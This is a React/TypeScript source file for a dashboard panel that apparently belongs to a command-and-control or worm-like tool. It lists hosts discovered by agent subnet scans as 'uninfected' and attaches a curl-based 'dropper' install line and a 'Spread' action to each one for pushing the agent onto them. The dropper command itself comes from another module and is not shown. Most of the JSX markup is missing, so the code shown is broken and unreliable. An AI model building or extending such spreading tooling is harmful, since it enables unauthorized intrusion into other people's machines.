import { memo, useCallback, useEffect, useMemo, useState } from 'react'; import { Link } from 'react-router-dom'; import { api } from '../../api/client'; import type { Agent } from '../../types'; import type { DiscoveredHost, DiscoveredHostRow, ReconScanReport } from '../../types/recon'; import { HelpTip } from '../HelpTip'; import { crucibleSpreadLink, curlInstallLine } from '../../help/deployRecon'; import { DEFAULT_DISCOVERY_FILTERS, discoveryStatusLabel, discoverySubnetOptions, filterDiscoveryRows, fmtDiscoveryTime, manualScanToDiscovery, mergeDiscoveryRows, parseSubnetDiscoveryUpdate, type DiscoveryFilters, } from '../../help/fleetDiscoveries'; import { useWebSocket } from '../../hooks/useWebSocket'; function CopyChip({ text, label }: { text: string; label: string }) { const [ok, setOk] = useState(false); const copy = () => { void navigator.clipboard?.writeText(text).then(() => { setOk(true); setTimeout(() => setOk(false), 1500); }).catch(() => {}); }; return ( ); } function reporterLabel(row: DiscoveredHostRow, agents: Agent[]): string { if (row.source === 'manual') return 'Manual scan'; if (!row.reporter_agent_id) return '—'; const agent = agents.find((a) => a.id === row.reporter_agent_id); return agent?.name || agent?.hostname || row.reporter_agent_id.slice(0, 8); } const DiscoveryRow = memo(function DiscoveryRow({ row, agents, serverBase, pinnedBuildId, onScanDeeper, scanningIp, }: { row: DiscoveredHostRow; agents: Agent[]; serverBase: string; pinnedBuildId: string; onScanDeeper: (ip: string) => void; scanningIp: string; }) { const dropper = useMemo( () => curlInstallLine(serverBase, pinnedBuildId), [serverBase, pinnedBuildId], ); const uninfected = row.status === 'uninfected'; return ( {row.ip}
{row.open_ports.length === 0 ? ( ) : ( row.open_ports.map((p) => ( {p} )) )}
{reporterLabel(row, agents)} {row.subnet_prefix || '—'} {fmtDiscoveryTime(row.last_seen)} {discoveryStatusLabel(row)}
Spread
); }); export interface FleetDiscoveriesPanelProps { manualScans: ReconScanReport[]; onScanDeeper: (ip: string) => void; scanningIp: string; serverBase: string; pinnedBuildId: string; } export default function FleetDiscoveriesPanel({ manualScans, onScanDeeper, scanningIp, serverBase, pinnedBuildId, }: FleetDiscoveriesPanelProps) { const { latestMessage, agents } = useWebSocket(); const [agentHosts, setAgentHosts] = useState([]); const [loading, setLoading] = useState(true); const [apiMissing, setApiMissing] = useState(false); const [filters, setFilters] = useState(DEFAULT_DISCOVERY_FILTERS); const load = useCallback(async () => { try { const data = await api.getDiscoveredHosts({ status: 'uninfected' }); if (!data) { setApiMissing(true); setAgentHosts([]); return; } setApiMissing(false); setAgentHosts(data.hosts ?? []); } catch { setApiMissing(true); } finally { setLoading(false); } }, []); useEffect(() => { void load(); }, [load]); useEffect(() => { if (!latestMessage || latestMessage.type !== 'subnet_discovery_update') return; const incoming = parseSubnetDiscoveryUpdate(latestMessage.payload); if (incoming.length === 0) return; setAgentHosts((prev) => { const map = new Map(prev.map((h) => [h.ip, h])); for (const h of incoming) { const old = map.get(h.ip); if (!old) { map.set(h.ip, h); continue; } map.set(h.ip, { ...old, ...h, open_ports: [...new Set([...old.open_ports, ...h.open_ports])].sort((a, b) => a - b), }); } return [...map.values()]; }); setApiMissing(false); setLoading(false); }, [latestMessage]); const manualHosts = useMemo( () => manualScans.map(manualScanToDiscovery), [manualScans], ); const merged = useMemo( () => mergeDiscoveryRows(agentHosts, manualHosts), [agentHosts, manualHosts], ); const subnetOptions = useMemo(() => discoverySubnetOptions(merged), [merged]); const filtered = useMemo( () => filterDiscoveryRows(merged, filters), [merged, filters], ); return (

Fleet discoveries

{filtered.length} uninfected
{loading ? (

Loading agent discoveries…

) : filtered.length === 0 ? (

{apiMissing && manualHosts.length === 0 ? 'No discoveries yet — run a manual scan or wait for agent subnet recon.' : 'No hosts match filters. Try clearing subnet/port filters or run Scan on a target.'}

) : (
{filtered.map((row) => ( ))}
IP Open ports Reporter Subnet Last seen Status Actions
)}
); }